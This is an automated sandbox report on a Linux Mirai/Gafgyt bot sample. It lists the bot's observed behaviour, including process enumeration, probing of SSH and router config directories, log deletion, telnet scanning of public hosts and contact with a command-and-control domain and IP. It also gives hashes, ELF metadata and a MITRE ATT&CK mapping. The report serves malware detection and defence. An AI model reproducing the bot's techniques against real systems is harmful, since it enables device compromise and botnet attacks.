Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16

Source: classification engine

Classification label: mal84.troj.evad.linELF@0/1@3/0

Data Obfuscation

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Source: /tmp/la.bot.x86_64.elf (PID: 5436)

File: /etc/config

Jump to behavior

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/la.bot.x86_64.elf (PID: 5435)

File: /proc/5435/mounts

Jump to behavior

Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /root/.cache	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /root/.ssh	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /root/.config	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /root/.local	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /tmp/.X11-unix	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /tmp/.Test-unix	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /tmp/.font-unix	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /tmp/.ICE-unix	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /tmp/.XIM-unix	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5436)	Directory: /etc/.java	Jump to behavior

Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3640/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3640/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3122/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3117/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3114/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/914/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5416/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5416/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5417/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5417/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/917/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5272/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/5272/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3134/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3375/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3132/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3095/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1745/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1866/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1588/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/884/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1982/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/765/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3246/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/800/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/767/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1906/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/802/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/803/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1748/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3420/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1482/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/490/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1480/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1755/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1875/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2964/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3413/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1751/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1872/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2961/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1475/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/778/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/936/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/816/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1879/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1891/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3310/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3153/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/780/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/660/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1921/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/783/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1765/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2974/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1400/status	Jump to behavior
Source: /tmp/la.bot.x86_64.elf (PID: 5435)	File opened: /proc/1400/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/la.bot.x86_64.elf (PID: 5436)

Log files deleted: /var/log/kern.log

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Performs DNS TXT record lookups

Source: Traffic

DNS traffic detected: queries for: ai.stackoverflow.libre

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: la.bot.x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: la.bot.x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.x86_64.elf	34%	ReversingLabs	Linux.Trojan.Mirai
la.bot.x86_64.elf	34%	Virustotal		Browse
la.bot.x86_64.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high
ai.stackoverflow.libre	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.x86_64.elf	false		high
http:///curl.sh	la.bot.x86_64.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
120.113.24.42	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
121.206.227.168	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
188.166.182.194	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	false
43.237.252.90	unknown	China	17506	UCOMARTERIANetworksCorporationJP	false
89.144.218.28	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
74.125.250.129	unknown	United States	15169	GOOGLEUS	false
95.10.157.255	unknown	Turkey	9121	TTNETTR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
188.166.182.194	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	jefne64.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UCOMARTERIANetworksCorporationJP	ruXU7wj3X9.dll	Get hash	malicious	Wannacry	Browse	124.35.234.1
	jpXNd6Kt8z.dll	Get hash	malicious	Wannacry	Browse	221.249.132.66
	mpsl.elf	Get hash	malicious	Unknown	Browse	221.244.184.6
	arm7.elf	Get hash	malicious	Mirai	Browse	221.240.51.10
	meth15.elf	Get hash	malicious	Mirai	Browse	58.156.8.128
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	221.115.71.164
	elitebotnet.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	122.218.88.225
	6.elf	Get hash	malicious	Unknown	Browse	58.15.147.49
	res.mips.elf	Get hash	malicious	Unknown	Browse	124.34.12.237
	4.elf	Get hash	malicious	Unknown	Browse	43.236.157.88
NTU-TWNationalTaiwanUniversityTW	m68k.elf	Get hash	malicious	Unknown	Browse	140.119.44.153
	meth4.elf	Get hash	malicious	Mirai	Browse	120.119.165.118
	meth7.elf	Get hash	malicious	Mirai	Browse	120.99.153.65
	3.elf	Get hash	malicious	Unknown	Browse	120.100.20.219
	res.x86.elf	Get hash	malicious	Unknown	Browse	140.112.12.62
	frosty.sh4.elf	Get hash	malicious	Mirai	Browse	120.97.103.14
	armv5l.elf	Get hash	malicious	Unknown	Browse	120.106.164.80
	miori.m68k.elf	Get hash	malicious	Unknown	Browse	120.105.93.228
	miori.arm.elf	Get hash	malicious	Unknown	Browse	120.121.110.147
	sh4.elf	Get hash	malicious	Mirai	Browse	120.115.83.156
DIGITALOCEAN-ASNUS	http://onlineausde.andhrauniversity.edu.in/studentLogin/Payments/	Get hash	malicious	Unknown	Browse	64.227.138.132
	https://hm.ru/XKEkPr	Get hash	malicious	Unknown	Browse	138.68.75.10
	https://caringforyousupport.com.au/Receipt536354.php	Get hash	malicious	WinSearchAbuse	Browse	68.183.112.81
	http://jooracces.com	Get hash	malicious	Unknown	Browse	206.189.225.178
	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	68.183.25.196
	NoticeOfPayment.docx	Get hash	malicious	Unknown	Browse	157.230.79.42
	meth7.elf	Get hash	malicious	Mirai	Browse	161.35.146.211
	http://biomed.fi	Get hash	malicious	Unknown	Browse	64.227.36.222
	Absa Remittance Advice.docx	Get hash	malicious	Unknown	Browse	157.230.79.42
	Absa Remittance Advice.docx	Get hash	malicious	Unknown	Browse	157.230.79.42
CHINANET-BACKBONENo31Jin-rongStreetCN	V01vdyUACe.dll	Get hash	malicious	Wannacry	Browse	183.50.126.2
	S8LDvVdtOk.dll	Get hash	malicious	Wannacry	Browse	220.187.236.1
	xjljKPlxqO.dll	Get hash	malicious	Wannacry	Browse	119.140.230.219
	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	218.91.200.1
	GUtEaDsc9X.dll	Get hash	malicious	Wannacry	Browse	119.135.172.1
	tTbeoLWNhb.dll	Get hash	malicious	Wannacry	Browse	219.130.9.1
	330tqxXVzm.dll	Get hash	malicious	Wannacry	Browse	113.88.91.1
	9kNjKSEUym.dll	Get hash	malicious	Wannacry	Browse	60.165.77.15
	D3W41IdtQA.dll	Get hash	malicious	Wannacry	Browse	123.102.22.1
	YZJG8NuHEP.dll	Get hash	malicious	Wannacry	Browse	116.248.34.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/athens.txt

Download File

Process:	/tmp/la.bot.x86_64.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.024394204278479
Encrypted:	false
SSDEEP:	3:TBGTD+FN5CSNE4F58SASI7AWHF5x5mAR/VB6GEDwcL7uoL/:TBGD+5F+RLl0AR/VgGEDLHB/
MD5:	E77B19565FA2C8C6B780A198F3889313
SHA1:	4B18D7D88944804C96620323D60EE89E4B985BB4
SHA-256:	F71785724FCE340C9FF9CD4341B920A602A47C0B496C57CCA177B94CB4BA297D
SHA-512:	D22AAC8ADD55BCD9672465F3E67AF9DD4B69C0C85903C16A1C19ABDEA59EA0674DF69FF7D7F646FE642417103C7D4B6B5B3B1D5A8017C321417CBC5B3C243732
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	The gods watch from the heavens? Let them see what a mortal can become. let them witness a man who defies their will and carves his own destiny...

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.2959748140744685
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.x86_64.elf
File size:	95'216 bytes
MD5:	cfb666f58d6ad700f271fb3fd3df0692
SHA1:	58d09f72c371b61677484f30b71048299b2f114d
SHA256:	afb2e2df5a4b6cd2d4d00b4dbe1875e53d4f29352a525c820d54ab096b9007c6
SHA512:	a73ac9a5375659bccbcfbfcf3335db1a3ab019440567146f8f3050631b92933d620ebbe6634f235d8e8757b2c933cedf28b2d04460697e03d16f8ceea25ffd72
SSDEEP:	1536:j2E0HYmDrsvMpBJYuvdiiYQinmX7h9iZuzzdtgmTL33ihACNwY+yNh/l7d1:qE0HYmDrsS8wiiPXd9iIptgmD3ihpwYz
TLSH:	B8933A0374C18DFDC8C6C5750EAFA136E632F15C2225726B2BD1BB356E9EE212F1A065
File Content Preview:	.ELF..............>.......@.....@.......pq..........@.8...@.......................@.......@......k.......k.......................k.......kQ......kQ.....x.......pp..............Q.td....................................................H...._.....'..H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	94576
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x127f6	0x0	0x6	AX	16
.fini	PROGBITS	0x4128f6	0x128f6	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x412920	0x12920	0x4290	0x0	0x2	A	32
.ctors	PROGBITS	0x516bb8	0x16bb8	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x516bc8	0x16bc8	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x516be0	0x16be0	0x550	0x0	0x3	WA	32
.bss	NOBITS	0x517140	0x17130	0x6ae8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x17130	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x16bb0	0x16bb0	6.3548	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x16bb8	0x516bb8	0x516bb8	0x578	0x7070	2.4617	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 61
• 19302 undefined
• 10321 undefined
• 53 (DNS)
• 23 (Telnet)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 05:12:54.733428001 CET	40024	23	192.168.2.13	43.237.252.90
Jan 15, 2025 05:12:54.738360882 CET	23	40024	43.237.252.90	192.168.2.13
Jan 15, 2025 05:12:54.738641024 CET	40024	23	192.168.2.13	43.237.252.90
Jan 15, 2025 05:12:54.752363920 CET	42854	23	192.168.2.13	95.10.157.255
Jan 15, 2025 05:12:54.757611990 CET	23	42854	95.10.157.255	192.168.2.13
Jan 15, 2025 05:12:54.757671118 CET	42854	23	192.168.2.13	95.10.157.255
Jan 15, 2025 05:12:54.762281895 CET	37212	23	192.168.2.13	120.113.24.42
Jan 15, 2025 05:12:54.767116070 CET	23	37212	120.113.24.42	192.168.2.13
Jan 15, 2025 05:12:54.767275095 CET	37212	23	192.168.2.13	120.113.24.42
Jan 15, 2025 05:12:54.769454956 CET	59912	23	192.168.2.13	89.144.218.28
Jan 15, 2025 05:12:54.774252892 CET	23	59912	89.144.218.28	192.168.2.13
Jan 15, 2025 05:12:54.774342060 CET	59912	23	192.168.2.13	89.144.218.28
Jan 15, 2025 05:12:54.809427977 CET	42812	23	192.168.2.13	121.206.227.168
Jan 15, 2025 05:12:54.814249992 CET	23	42812	121.206.227.168	192.168.2.13
Jan 15, 2025 05:12:54.814497948 CET	42812	23	192.168.2.13	121.206.227.168
Jan 15, 2025 05:12:54.837517023 CET	42812	23	192.168.2.13	121.206.227.168
Jan 15, 2025 05:12:54.837565899 CET	37212	23	192.168.2.13	120.113.24.42
Jan 15, 2025 05:12:54.837565899 CET	40024	23	192.168.2.13	43.237.252.90
Jan 15, 2025 05:12:54.837565899 CET	59912	23	192.168.2.13	89.144.218.28
Jan 15, 2025 05:12:54.837637901 CET	42854	23	192.168.2.13	95.10.157.255
Jan 15, 2025 05:12:54.842571974 CET	23	42812	121.206.227.168	192.168.2.13
Jan 15, 2025 05:12:54.842808008 CET	23	37212	120.113.24.42	192.168.2.13
Jan 15, 2025 05:12:54.842816114 CET	23	40024	43.237.252.90	192.168.2.13
Jan 15, 2025 05:12:54.842823029 CET	23	59912	89.144.218.28	192.168.2.13
Jan 15, 2025 05:12:54.842832088 CET	23	42854	95.10.157.255	192.168.2.13
Jan 15, 2025 05:12:54.842861891 CET	59912	23	192.168.2.13	89.144.218.28
Jan 15, 2025 05:12:54.842864990 CET	37212	23	192.168.2.13	120.113.24.42
Jan 15, 2025 05:12:54.842885017 CET	42812	23	192.168.2.13	121.206.227.168
Jan 15, 2025 05:12:54.842900991 CET	42854	23	192.168.2.13	95.10.157.255
Jan 15, 2025 05:12:54.842920065 CET	40024	23	192.168.2.13	43.237.252.90
Jan 15, 2025 05:12:54.891916037 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:54.899380922 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:12:54.899481058 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:55.724112988 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:12:55.724493027 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:55.995166063 CET	10321	56800	188.166.182.194	192.168.2.13
Jan 15, 2025 05:12:55.995337009 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:58.982800007 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:59.192210913 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:59.404180050 CET	56800	10321	192.168.2.13	188.166.182.194
Jan 15, 2025 05:12:59.521130085 CET	10321	56800	188.166.182.194	192.168.2.13
